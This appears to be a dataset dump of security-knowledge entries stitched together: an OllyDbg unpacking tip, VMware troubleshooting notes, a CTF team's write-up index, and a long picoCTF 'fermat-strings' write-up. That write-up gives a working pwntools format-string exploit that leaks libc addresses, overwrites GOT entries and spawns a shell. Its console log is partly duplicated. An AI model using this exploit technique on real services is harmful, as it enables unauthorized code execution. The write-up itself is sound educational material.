text
stringlengths
100
9.93M
category
stringclasses
11 values
### 一步到达 OEP 法介绍 所谓的一步到达OEP的脱壳方法, 是根据所脱壳的特征, 寻找其距离OEP最近的一处汇编指令, 然后下int3断点, 在程序走到OEP的时候dump程序. 如一些压缩壳往往popad指令距离OEP或者大jmp特别近, 因此使用Ollydbg的搜索功能, 可以搜索壳的特征汇编代码, 达到一步断点到达OEP的效果. ### 一步到达 OEP 法要点 1. ctrl+f 查找popad 2. ctrl+l 跳转到下一个匹配处 3. 找到匹配处, 确认是壳解压完毕即将跳转到OEP部分, 则设下断点运行到该处 4. 只适用于极少数压缩壳
sec-knowleage
# fermat-strings Binary Exploitation, 250 points ## Description > Fermat's last theorem solver as a service. A binary file was attached, together with the source code: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <math.h> #define SIZE 0x100 int main(void) { char A[SIZE]; char B[SIZE]; int a = 0; int b = 0; puts("Welcome to Fermat\\'s Last Theorem as a service"); setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); printf("A: "); read(0, A, SIZE); printf("B: "); read(0, B, SIZE); A[strcspn(A, "\n")] = 0; B[strcspn(B, "\n")] = 0; a = atoi(A); b = atoi(B); if(a == 0 || b == 0) { puts("Error: could not parse numbers!"); return 1; } char buffer[SIZE]; snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B); printf(buffer); int answer = -1; for(int i = 0; i < 100; i++) { if(pow(a, 3) + pow(b, 3) == pow(i, 3)) { answer = i; } } if(answer != -1) printf("Found the answer: %d\n", answer); } ``` ## Solution "Fermat-strings" is a service related to [Fermat's Last Theorem](https://en.wikipedia.org/wiki/Fermat%27s_Last_Theorem), which states that: > No three positive integers `a`, `b`, and `c` satisfy the equation `a^n + b^n = c^n` for any integer value of n greater than `2`. It also sounds a lot like "format strings", which is the vulnerability we see in the code: ```c snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B); printf(buffer); ``` Since we control `A` and `B`, we can provide format specifiers in order to cause information leakage and memory writes. Let's start with a naive example: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ ./chall Welcome to Fermat\'s Last Theorem as a service A: %p B: %p Error: could not parse numbers! ``` This fails. The reason is that when `atoi` gets an input such as `%p`, it is unable to convert it to a number. However, let's take a closer look at how `atoi` works: > Parses the C-string str interpreting its content as an integral number, which is returned as a value of type int. > > The function first discards as many whitespace characters (as in isspace) as necessary until the first non-whitespace character is found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many base-10 digits as possible, and interprets them as a numerical value. > > The string can contain additional characters after those that form the integral number, which are ignored and have no effect on the behavior of this function. > > If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists because either str is empty or it contains only whitespace characters, no conversion is performed and zero is returned. > > ([Source](https://www.cplusplus.com/reference/cstdlib/atoi/)) So, we can smuggle in any string as long as we start with some valid number, for example: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ ./chall Welcome to Fermat\'s Last Theorem as a service A: 1_%p B: 1_%x Calculating for A: 1_0x400bd7 and B: 1_98d8fa14 ``` Now that we know that we can trigger a format string attack, we should find the correct offset to allow the format specifier to read back a value provided by us. Essentially, we want to provide a set of addresses, and then format specifiers to dereference the addresses we've provide and read from / write to them. In a classic format string attack, both the addresses and the specifiers are provided in the format string together, and sent to `printf` as one string. However, since our addresses will contain `0x00` bytes, and since we must pass through `snprintf` in order to enable the format string vulnerability in `printf`, the naive approach won't suffice: `snprintf` will cut off anything after the first NULL byte it reaches, and the string passed to `snprintf` won't contain all of our payload. So, in our case, we will need to make sure that `printf` gets the format specifiers, but their offsets point to the original `A` or `B` which can contain as many NULL bytes as we want. In practice, we will provide the format specifiers in `A` and the addresses in `B`. We start by running the program in the debugger, and setting a breakpoint right before the `printf`. We then provide the following input: ``` Welcome to Fermat\'s Last Theorem as a service A: 1_%p.%p.%p.%p.%p.%p.%p.%p.%p B: 1_ABCDEFGH ``` In `A`, we are leaking a few values to help us get oriented. In `B`, we are providing a marker to help us find the correct offset. We run and hit the breakpoint, then dump the stack: ``` gef> stack 100 0x00007fffffffe550│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffe558│+0x0008: 0x0000000000000000 0x00007fffffffe560│+0x0010: 0x0000000000000000 0x00007fffffffe568│+0x0018: 0x0000000100000001 0x00007fffffffe570│+0x0020: "1_%p.%p.%p.%p.%p.%p.%p.%p.%p" 0x00007fffffffe578│+0x0028: "%p.%p.%p.%p.%p.%p.%p" 0x00007fffffffe580│+0x0030: ".%p.%p.%p.%p" 0x00007fffffffe588│+0x0038: 0x0000000070252e70 ("p.%p"?) 0x00007fffffffe590│+0x0040: 0x0000000000000001 0x00007fffffffe598│+0x0048: 0x0000255499f1c4be 0x00007fffffffe5a0│+0x0050: 0x0000255499eea3a8 0x00007fffffffe5a8│+0x0058: 0x00007ffff7ffe180 → 0x0000000000000000 0x00007fffffffe5b0│+0x0060: 0x00007ffff7ffe180 → 0x0000000000000000 0x00007fffffffe5b8│+0x0068: 0x00007ffff7fe96b8 → <_dl_unload_cache+40> mov QWORD PTR [rip+0x14a45], 0x0 # 0x7ffff7ffe108 <cache> 0x00007fffffffe5c0│+0x0070: 0x00007fffffffe860 → 0x0000000000400ad0 → <__libc_csu_init+0> push r15 0x00007fffffffe5c8│+0x0078: 0x00007ffff7fd6b1f → <dl_main+9791> lea rsp, [rbp-0x28] 0x00007fffffffe5d0│+0x0080: 0x0000000000000000 0x00007fffffffe5d8│+0x0088: 0x0000000000000000 0x00007fffffffe5e0│+0x0090: 0x0000000000000000 0x00007fffffffe5e8│+0x0098: 0x0000000000000000 0x00007fffffffe5f0│+0x00a0: 0x00007ffff7ca8740 → 0x00007ffff7ca8740 → [loop detected] 0x00007fffffffe5f8│+0x00a8: 0x00007ffff7ffe080 → 0x0000000000000001 0x00007fffffffe600│+0x00b0: 0x0000000000000000 0x00007fffffffe608│+0x00b8: 0x00007fffffffea01 → 0x2400007fffffffee 0x00007fffffffe610│+0x00c0: 0x00007ffff7ffe701 → 0x2000000000000000 0x00007fffffffe618│+0x00c8: 0x00007ffff7ffd9e8 → 0x00007ffff7fd2000 → 0x00010102464c457f 0x00007fffffffe620│+0x00d0: 0x00007fffffffe648 → 0x00007ffff7fd0218 → 0x000b001200000036 ("6"?) 0x00007fffffffe628│+0x00d8: 0x0000255499eea3a8 0x00007fffffffe630│+0x00e0: 0x0000000000000000 0x00007fffffffe638│+0x00e8: 0x0000000000000000 0x00007fffffffe640│+0x00f0: 0x0000000000000000 0x00007fffffffe648│+0x00f8: 0x00007ffff7fd0218 → 0x000b001200000036 ("6"?) 0x00007fffffffe650│+0x0100: 0x0000002000000000 0x00007fffffffe658│+0x0108: 0x0000000000000000 0x00007fffffffe660│+0x0110: 0x0000000000000000 0x00007fffffffe668│+0x0118: 0x0000000000000000 0x00007fffffffe670│+0x0120: "1_ABCDEFGH" ← $r10 0x00007fffffffe678│+0x0128: 0x0000000103004847 ("GH"?) 0x00007fffffffe680│+0x0130: 0x0000000000000000 0x00007fffffffe688│+0x0138: 0x0000000000000000 0x00007fffffffe690│+0x0140: 0x0000000000000000 0x00007fffffffe698│+0x0148: 0x0000000000000000 0x00007fffffffe6a0│+0x0150: 0x0000000000000000 0x00007fffffffe6a8│+0x0158: 0x0000000000000000 0x00007fffffffe6b0│+0x0160: 0x0000000000000000 0x00007fffffffe6b8│+0x0168: 0x0000000000000000 0x00007fffffffe6c0│+0x0170: 0x0000000000000000 0x00007fffffffe6c8│+0x0178: 0x0000000000000000 0x00007fffffffe6d0│+0x0180: 0x0000000000000000 0x00007fffffffe6d8│+0x0188: 0x0000000000000000 0x00007fffffffe6e0│+0x0190: 0x0000000000000000 0x00007fffffffe6e8│+0x0198: 0x0000000000000000 0x00007fffffffe6f0│+0x01a0: 0x0000000000000000 0x00007fffffffe6f8│+0x01a8: 0x0000000000000000 0x00007fffffffe700│+0x01b0: 0x0000000000000000 0x00007fffffffe708│+0x01b8: 0x0000000000000000 0x00007fffffffe710│+0x01c0: 0x0000000000000000 0x00007fffffffe718│+0x01c8: 0x0000000000000000 0x00007fffffffe720│+0x01d0: 0x0000000000000000 0x00007fffffffe728│+0x01d8: 0x0000000000000000 0x00007fffffffe730│+0x01e0: 0x0000000000000000 0x00007fffffffe738│+0x01e8: 0x0000000000000000 0x00007fffffffe740│+0x01f0: 0x0000000000000000 0x00007fffffffe748│+0x01f8: 0x0000000000000000 0x00007fffffffe750│+0x0200: 0x0000000000000000 0x00007fffffffe758│+0x0208: 0x0000000000000000 0x00007fffffffe760│+0x0210: 0x0000000000000000 0x00007fffffffe768│+0x0218: 0x0000000000000000 0x00007fffffffe770│+0x0220: "Calculating for A: 1_%p.%p.%p.%p.%p.%p.%p.%p.%p an[...]" ← $rdi 0x00007fffffffe778│+0x0228: "ing for A: 1_%p.%p.%p.%p.%p.%p.%p.%p.%p and B: 1_A[...]" 0x00007fffffffe780│+0x0230: "A: 1_%p.%p.%p.%p.%p.%p.%p.%p.%p and B: 1_ABCDEFGH\[...]" 0x00007fffffffe788│+0x0238: "%p.%p.%p.%p.%p.%p.%p.%p and B: 1_ABCDEFGH\n" 0x00007fffffffe790│+0x0240: ".%p.%p.%p.%p.%p and B: 1_ABCDEFGH\n" 0x00007fffffffe798│+0x0248: "p.%p.%p and B: 1_ABCDEFGH\n" 0x00007fffffffe7a0│+0x0250: "and B: 1_ABCDEFGH\n" 0x00007fffffffe7a8│+0x0258: "_ABCDEFGH\n" 0x00007fffffffe7b0│+0x0260: 0x0000000000000a48 ("H\n"?) 0x00007fffffffe7b8│+0x0268: 0x0000000000000000 0x00007fffffffe7c0│+0x0270: 0x0000000000000000 0x00007fffffffe7c8│+0x0278: 0x0000000000000000 0x00007fffffffe7d0│+0x0280: 0x0000000000000000 0x00007fffffffe7d8│+0x0288: 0x0000000000000000 0x00007fffffffe7e0│+0x0290: 0x0000000000000000 0x00007fffffffe7e8│+0x0298: 0x0000000000000000 0x00007fffffffe7f0│+0x02a0: 0x0000000000000000 0x00007fffffffe7f8│+0x02a8: 0x0000000000000000 ``` Then we continue, and check the program output: ``` Calculating for A: 1_0x400bd7.0x7fffffffe7b2.(nil).0xffffffff.0x7fffffffe3e0.(nil).(nil).(nil).0x100000001 and B: 1_ABCDEFGH ``` We can see that the leaked values converge with the dumped stack here: ``` 0x00007fffffffe550│+0x0000: 0x0000000000000000 0x00007fffffffe558│+0x0008: 0x0000000000000000 0x00007fffffffe560│+0x0010: 0x0000000000000000 0x00007fffffffe568│+0x0018: 0x0000000100000001 ``` So the ninth leaked value (`0x0000000100000001`) is the forth dumped stack value (`0x0000000100000001`). Now we find our marker at: ``` 0x00007fffffffe670│+0x0120: "1_ABCDEFGH" ``` So we calculate: `(0x00007fffffffe670 - 0x00007fffffffe568) / 8 = 33`. We add the nine from before to get `42`. Let's see what that gives us: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ ./chall Welcome to Fermat\'s Last Theorem as a service A: 1_%42$p B: 1_ABCDEFGH Calculating for A: 1_0x4645444342415f31 and B: 1_ABCDEFGH ``` Good, we were able to arrive to `4645444342415f31` which translates to `FEDCBA_1`, so we are in the area. Remember that the `1_` prefix is just there to bypass `atoi`, so to capture the full 8 bytes of the value we provide, we play a bit with the offsets and add alignment padding: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ ./chall Welcome to Fermat\'s Last Theorem as a service A: 1_%43$p B: 1_______ABCDEFGH Calculating for A: 1_0x4847464544434241 and B: 1_______ABCDEFGH ``` Now we can start leaking addresses. We can use the following `pwntools` script to leak the `puts` runtime address: ```python def send_payload(io, a, b): log.info(f"Sending:\nA:\n{a}\nB:\n{hexdump(b)}") io.sendlineafter("A: ", a) io.sendlineafter("B: ", b) def send_format(io, format, values): format_prefix = b'1___' values_prefix = b'1_______' send_payload(io, format_prefix + format, values_prefix + values) out = io.recvline() arr = out.split(b" and ") res = arr[0].replace(b"Calculating for A: " + format_prefix, b"") log.info(f"Received:\n{hexdump(res)}") return res log.info(f"puts() GOT address: {hex(exe.got['puts'])}") fmt_first_offset = 43 io = start() output = send_format(io, f"%{fmt_first_offset}$s".encode("ascii"), p64(exe.got["puts"])) puts_addr_str = output puts_addr = int.from_bytes(puts_addr_str, "little") log.info(f"puts() runtime address: {hex(puts_addr)}") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ python3 poc.py [*] '/media/sf_CTFs/pico/fermat-strings/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to mars.picoctf.net on port 31929: Done [*] puts() GOT address: 0x601018 [+] Opening connection to mars.picoctf.net on port 31929: Done [*] Sending: A: b'1___%43$s' B: 00000000 31 5f 5f 5f 5f 5f 5f 5f 18 10 60 00 00 00 00 00 │1___│____│··`·│····│ 00000010 [*] Received: 00000000 a0 d5 80 e3 0b 7f │····│··│ 00000006 [*] puts() runtime address: 0x7f0be380d5a0 [*] Closed connection to mars.picoctf.net port 31929 ``` Let's add another leak - the `atoi` runtime address: ```python log.info(f"puts() GOT address: {hex(exe.got['puts'])}") log.info(f"atoi() GOT address: {hex(exe.got['atoi'])}") fmt_first_offset = 43 io = start() output = send_format(io, f"%{fmt_first_offset}$s.%{fmt_first_offset + 1}$s.".encode("ascii"), p64(exe.got["puts"]) + p64(exe.got["atoi"])) puts_addr_str, atoi_addr_str, *rest = output.split(b".") puts_addr = int.from_bytes(puts_addr_str, "little") log.info(f"puts() runtime address: {hex(puts_addr)}") atoi_addr = int.from_bytes(atoi_addr_str, "little") log.info(f"atoi() runtime address: {hex(atoi_addr)}") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ python3 poc.py [*] '/media/sf_CTFs/pico/fermat-strings/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] puts() GOT address: 0x601018 [*] atoi() GOT address: 0x601058 [+] Opening connection to mars.picoctf.net on port 31929: Done [*] Sending: A: b'1___%43$s.%44$s.' B: 00000000 31 5f 5f 5f 5f 5f 5f 5f 18 10 60 00 00 00 00 00 │1___│____│··`·│····│ 00000010 58 10 60 00 00 00 00 00 │X·`·│····│ 00000018 [*] Received: 00000000 a0 55 15 3a 50 7f 2e 30 57 11 3a 50 7f 2e │·U·:│P·.0│W·:P│·.│ 0000000e [*] puts() runtime address: 0x7f503a1555a0 [*] atoi() runtime address: 0x7f503a115730 [*] Closed connection to mars.picoctf.net port 31929 ``` These runtime addresses give us two things. First, they help us figure out the LibC used for the challenge via [the libc database](https://github.com/niklasb/libc-database). (Note that the challenge also included a docker image which could be used for the same purpose). But more importantly, they allow us to calculate the runtime base address of LibC. The LibC database gives us the following offsets: |Symbol |Offset |Difference| |-----------|---------|----------| |atoi |0x047730 |0x0 | |system |0x055410 |0xdce0 | |printf |0x064e10 |0x1d6e0 | |snprintf |0x064ee0 |0x1d7b0 | |puts |0x0875a0 |0x3fe70 | |setbuf |0x08ec50 |0x47520 | |open |0x110e50 |0xc9720 | |read |0x111130 |0xc9a00 | |write |0x1111d0 |0xc9aa0 | |str_bin_sh |0x1b75aa |0x16fe7a | What's important here is the offset of `system`: Eventually we'll have to override some function pointer with `system` to pop-up a shell. To do that, we take the runtime base offset of LibC (which is the runtime offset of `puts` minus the build-time LibC offset of `puts`), add it to the build-time LibC offset of `system` and get the runtime offset of `system`. However, in order to do that, we will first need a way to overcome the fact that our format string vulnerability is a one-shot. We can leak some runtime addresses in order to calculate the base offset of LibC, but once we do that - the program arrives to the end and we can't use this information in any way. So, what we want to do is use the same vulnerability to leak runtime offsets **and** override some function pointer with the address of `main`, so that we can reuse the vulnerability. For that, we use the `%n` format specifier that allows us to write to a given address. Specifically, it writes to the address we provide the number of characters outputted by `printf` up to that moment, and by controlling the number of characters we print, we can write any value we want to. We will overwrite `pow` with the address of `main`: ```python io = start() loop_main_fmt, loop_main_address = fmtstr_split(fmt_first_offset, {exe.got["pow"]: exe.symbols["main"]}, numbwritten = 23) send_format(io, loop_main_fmt, loop_main_address) io.interactive() ``` `pwntools` takes care of the formatting, but notice how we needed to inform it of the number of bytes written by `printf` before arriving to the `%n`. We provided `23` to account for the string "`Calculating for A: 1___`". Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ python3 poc.py [*] '/media/sf_CTFs/pico/fermat-strings/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to mars.picoctf.net on port 31929: Done [*] Sending: A: b'1___%2080c%43$lln%9c%44$hhn' B: 00000000 31 5f 5f 5f 5f 5f 5f 5f 40 10 60 00 00 00 00 00 │1___│____│@·`·│····│ 00000010 42 10 60 00 00 00 00 00 │B·`·│····│ 00000018 [*] Received: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d8 │ │ │ │ ·│ 00000820 20 20 20 20 20 20 20 20 d2 │ │ │·│ 00000829 [*] Switching to interactive mode Welcome to Fermat\'s Last Theorem as a service A: $ 1 B: $ 1 Calculating for A: 1 and B: 1 Welcome to Fermat\'s Last Theorem as a service A: $ 2 B: $ 2 Calculating for A: 2 and B: 2 Welcome to Fermat\'s Last Theorem as a service ``` As we can see, instead of performing the calculation, we keep jumping back to `main`. At this point we have a leak allowing us to calculate the LibC base, and we have a loop allowing us to exploit the format string vulnerability again. The last part of the exploit is to overwrite some other function address with the address of `system`. We'll override `atoi`. This means that if we provide `/bin/sh` as one of the inputs, when the program calls `a = atoi(A)` it will actually be calling `system("/bin/sh")` - giving us a shell. Putting it all together, we get: ```python # First, generate a pwntools template with: # pwn template --host mars.picoctf.net --port 31929 ./chall #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) def send_payload(io, a, b): log.info(f"Sending:\nA:\n{a}\nB:\n{hexdump(b)}") io.sendlineafter("A: ", a) io.sendlineafter("B: ", b) def send_format(io, format, values): format_prefix = b'111_' values_prefix = b'1111111_' send_payload(io, format_prefix + format, values_prefix + values) out = io.recvline() arr = out.split(b" and ") res = arr[0].replace(b"Calculating for A: " + format_prefix, b"") log.info(f"Received:\n{hexdump(res)}") return res if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so") io = start() log.info(f"puts() GOT address: {hex(exe.got['puts'])}") log.info(f"atoi() GOT address: {hex(exe.got['atoi'])}") fmt_first_offset = 43 loop_main_fmt, loop_main_address = fmtstr_split(fmt_first_offset + 2, {exe.got["pow"]: exe.symbols["main"]}, numbwritten = 0x25) io = start() output = send_format(io, f"%{fmt_first_offset}$s.%{fmt_first_offset + 1}$s.".encode("ascii") + loop_main_fmt, p64(exe.got["puts"]) + p64(exe.got["atoi"]) + loop_main_address) puts_addr_str, atoi_addr_str, *rest = output.split(b".") puts_addr = int.from_bytes(puts_addr_str, "little") log.info(f"puts() runtime address: {hex(puts_addr)}") atoi_addr = int.from_bytes(atoi_addr_str, "little") log.info(f"atoi() runtime address: {hex(atoi_addr)}") libc.address = puts_addr - libc.symbols["puts"] assert(libc.address & 0xFFF == 0) log.info(f"LibC base address: {hex(libc.address)}") atoi_to_system_fmt, atoi_to_system_address = fmtstr_split(fmt_first_offset, {exe.got["atoi"]: libc.symbols["system"]}, numbwritten = 0x17) send_format(io, atoi_to_system_fmt, atoi_to_system_address) send_payload(io, "/bin/sh", "dummy") io.interactive() ``` This script combines the main building blocks we saw earlier, with some minor adjustments for performing the steps together instead of discretely. The output we get is: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/fermat-strings] └─$ python3 exploit.py [*] '/media/sf_CTFs/pico/fermat-strings/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/media/sf_CTFs/pico/fermat-strings/libc6_2.31-0ubuntu9.1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to mars.picoctf.net on port 31929: Done [*] puts() GOT address: 0x601018 [*] atoi() GOT address: 0x601058 [+] Opening connection to mars.picoctf.net on port 31929: Done [*] Sending: A: b'111_%43$s.%44$s.%2066c%45$lln%9c%46$hhn' B: 00000000 31 31 31 31 31 31 31 5f 18 10 60 00 00 00 00 00 │1111│111_│··`·│····│ 00000010 58 10 60 00 00 00 00 00 40 10 60 00 00 00 00 00 │X·`·│····│@·`·│····│ 00000020 42 10 60 00 00 00 00 00 │B·`·│····│ 00000028 [*] Received: 00000000 a0 55 2d a9 c4 7f 2e 30 57 29 a9 c4 7f 2e 20 20 │·U-·│··.0│W)··│·. │ 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d8 │ │ │ │ ·│ 00000820 20 20 20 20 20 20 20 20 ae │ │ │·│ 00000829 [*] puts() runtime address: 0x7fc4a92d55a0 [*] atoi() runtime address: 0x7fc4a9295730 [*] LibC base address: 0x7fc4a924e000 [*] Sending: A: b'111_%249c%43$lln%26c%44$hhn%10c%45$hhn%75c%46$hhn%42c%47$hhn%27c%48$hhn' B: 00000000 31 31 31 31 31 31 31 5f 58 10 60 00 00 00 00 00 │1111│111_│X·`·│····│ 00000010 5a 10 60 00 00 00 00 00 59 10 60 00 00 00 00 00 │Z·`·│····│Y·`·│····│ 00000020 5d 10 60 00 00 00 00 00 5b 10 60 00 00 00 00 00 │]·`·│····│[·`·│····│ 00000030 5c 10 60 00 00 00 00 00 │\·`·│····│ 00000038 [*] Received: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ [*] Received: 00000000 a0 55 2d a9 c4 7f 2e 30 57 29 a9 c4 7f 2e 20 20 │·U-·│··.0│W)··│·. │ 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d8 │ │ │ │ ·│ 00000820 20 20 20 20 20 20 20 20 ae │ │ │·│ 00000829 [*] puts() runtime address: 0x7fc4a92d55a0 [*] atoi() runtime address: 0x7fc4a9295730 [*] LibC base address: 0x7fc4a924e000 [*] Sending: A: b'111_%249c%43$lln%26c%44$hhn%10c%45$hhn%75c%46$hhn%42c%47$hhn%27c%48$hhn' B: 00000000 31 31 31 31 31 31 31 5f 58 10 60 00 00 00 00 00 │1111│111_│X·`·│····│ 00000010 5a 10 60 00 00 00 00 00 59 10 60 00 00 00 00 00 │Z·`·│····│Y·`·│····│ 00000020 5d 10 60 00 00 00 00 00 5b 10 60 00 00 00 00 00 │]·`·│····│[·`·│····│ 00000030 5c 10 60 00 00 00 00 00 │\·`·│····│ 00000038 [*] Received: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 000000f0 20 20 20 20 20 20 20 20 d8 20 20 20 20 20 20 20 │ │ │· │ │ 00000100 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ 00000110 20 20 8e 20 20 20 20 20 20 20 20 20 00 20 20 20 │ · │ │ │· │ 00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000160 20 20 20 20 20 20 20 ff 20 20 20 20 20 20 20 20 │ │ ·│ │ │ 00000170 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000190 20 90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ · │ │ │ │ 000001a0 20 20 20 20 20 20 20 20 20 20 20 20 e8 │ │ │ │·│ 000001ad [*] Sending: A: /bin/sh B: 00000000 64 75 6d 6d 79 │dumm│y│ 00000005 [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury} ``` The flag: `picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}`
sec-knowleage
# VM-Plan <p align="center"> <a href="https://twitter.com/mittye97/status/1237293281202978817"><img src="../../assets/img/banner/VM-Plan.jpg" width="90%"></a> </p> --- ## VMware 常见问题 **关闭虚拟内存** 使用 VMWare 虚拟机,虚拟机启动后,会在虚拟机目录下建立一个与虚拟内存大小相同的 .vmem 文件,这个文件主要是将虚拟机内存的内容映射到磁盘,以支持在虚拟机的暂停等功能 - **对特定的虚拟机"禁用" vmem 文件** 修改特定虚拟机目录下的 vmx 文件,在其中加上一行: `mainMem.useNamedFile = "FALSE"` **无法安装 VMTools** 看下虚拟机是否有 CD/DVD 设备 **VMTools** 如果没有装,一定要装.如果装不了,可以尝试这个方案 [open-vm-tools](https://github.com/vmware/open-vm-tools) ```bash apt update apt install -y open-vm-tools-desktop fuse reboot # 重启一下 ``` **Centos 共享文件夹** 1. 需要 vm tool 2. 不能用 mount 工具挂载,而是得用 vmhgfs-fuse,需要安装工具包 ```bash yum install -y open-vm-tools-devel -y 有的源的名字并不一定为 open-vm-tools-devel(centos) ,而是 open-vm-dkms(unbuntu) 执行:vmhgfs-fuse .host:/ /mnt/hgfs ``` **常见报错** - **该虚拟机似乎正在使用中.如果该虚拟机未在使用,请按"获取所有权(T)** 将虚拟机路径下后缀为 .lck 的文件夹删除 - **无法将 Ethernet0 连接到虚拟网络"VMnet0"** 在 vmware"编辑->虚拟网络设置"里面,点"恢复默认"可解决. - **无法获得 VMCI 驱动程序的版本: 句柄无效.驱动程序"vmci.sys"的版本不正确.....** 找到虚拟机路径下对应的 .vmx 文件,用编辑器打开,找到 `vmci0.present = "TRUE"`一项,将该项修改为:`vmci0.present = "FALSE"` - **安装vmware-tools出现”what is the location of the “ifconfig”program on your machine?”** 出现此问题的错误是因为网络问题,连通网络,安装 ifconfig 即可 --- ## VirtualBox **常见报错** - **Implementation of the USB 2.0 controller not found!** 设置中关闭 USB控制器 选项即可
sec-knowleage
# CTF writeups from P4 Team ## 2023 * [2023.04.01 **Hack-a-Sat 4 Quals**(4th place/381 teams)](2023-04-01-hackasat-quals) * [2023.03.24 **Insomni'hack CTF 2023**(7th place/84 teams)](2023-03-24-insomnihack-finals) ## 2022 * [2022.01.29 **InsomniHack Teaser 2022**(1st place/489 teams)](2022-01-29-insomnihack) ## 2021 * [2021.12.19 **hxp CTF 2021**(10th place/1017 teams)](2021-12-19-hxp) * [2021.07.17 **Google CTF 2021**(8th place/379 teams)](2021-07-17-google-ctf) * [2021.05.28 **Pwn2Win CTF 2021**(9th place/720 teams)](2021-05-28-pwn2win) ## 2020 * [2020.11.28 **HITCON CTF 2020**(13th place/710 teams)](2020-11-28-hitcon) * [2020.11.20 **Dragon CTF 2020**(5th place/538 teams)](2020-11-20-dragonctf) * [2020.10.23 **Hack.lu CTF 2020**(3rd place/302 teams)](2020-10-23-hacklu) * [2020.10.04 **Trend Micro CTF 2020 Qualifiers**(5th place/67 teams)](2020-10-04-trendmicro) * [2020.09.19 **TokyoWesterns CTF 2020**(8th place/648 teams)](2020-09-19-tokyowesterns) * [2020.09.05 **CONFidence CTF 2020 Finals**(organisers)](2020-09-05-confidence-finals) * [2020.08.22 **Google CTF 2020**(9th place/625 teams)](2020-08-22-google-ctf) * [2020.05.10 **SpamAndFlags Teaser 2020**(3rd place/531 teams)](2020-05-10-spam-and-flags-teaser) * [2020.01.04 **WhiteHat 2020 Quals**(13th place/150 teams)](2020-01-04-whitehat) ## 2019 * [2019.12.27 **hxp 36C3 CTF**(13th place/1749 teams)](2019-12-27-hxp-36c3) * [2019.12.01 **CTFZone 2019 quals**(9th place/1040 teams)](2019-12-01-ctfzone-quals) * [2019.11.16 **ASIS CTF 2019 Finals**(5th place/357 teams)](2019-11-16-asis-finals) * [2019.11.14 **Dragon CTF 2019 Finals**(1st place/14 teams) on site](2019-11-14-dragon-finals) * [2019.11.07 **DefCamp CTF 2019 Finals**(2nd place/16 teams) on site](2019-11-07-defcamp-finals) * [2019.11.02 **Google CTF 2019 Finals**(4th place/10 teams) on site](2019-11-02-google-ctf) * [2019.10.19 **SECCON Quals 2019**(4th place/799 teams)](2019-10-19-seccon) * [2019.10.12 **HITCON Quals 2019**(20th place/662 teams)](2019-10-12-hitcon) * [2019.09.21 **Dragon CTF Teaser 2019**(2nd place/297 teams)](2019-09-21-dragonctf) * [2019.09.14 **RealWorld CTF Quals 2019**(21st place/576 teams)](2019-09-14-realworld-quals) * [2019.09.07 **TrendMicro Quals 2019**(3rd place/70 teams)](2019-09-07-trendmicro-quals) * [2019.09.07 **DCTF Quals 2019**(8th place/306 teams)](2019-09-07-dctf-quals) * [2019.09.02 **TokyoWesterns CTF 2019**(15th place/1005 teams)](2019-09-02-tokyowesterns) * [2019.04.07 **Spam&Flags Teaser 2019**(2nd place/176 teams)](2019-04-07-spam-and-flags-teaser) * [2019.03.23 **0CTF 2019 Quals**(23rd place/915 teams)](2019-03-23-0ctf-quals) * [2019.03.17 **CONFidence 2019 Teaser**(organisers)](2019-03-17-confidence2019) * [2019.01.19 **InsomniHack quals**(1st place/236 teams)](2019-01-19-insomnihack-quals) ## 2018 * [2018.12.15 **Trend Micro CTF 2018 Finals**(2nd place/13 teams) on site](2018-12-15-trendmicro) * [2018.12.08 **hxp 2018**(2nd place/297 teams)](2018-12-08-hxp) * [2018.12.01 **Real World CTF 2018 Finals**(8th place/20 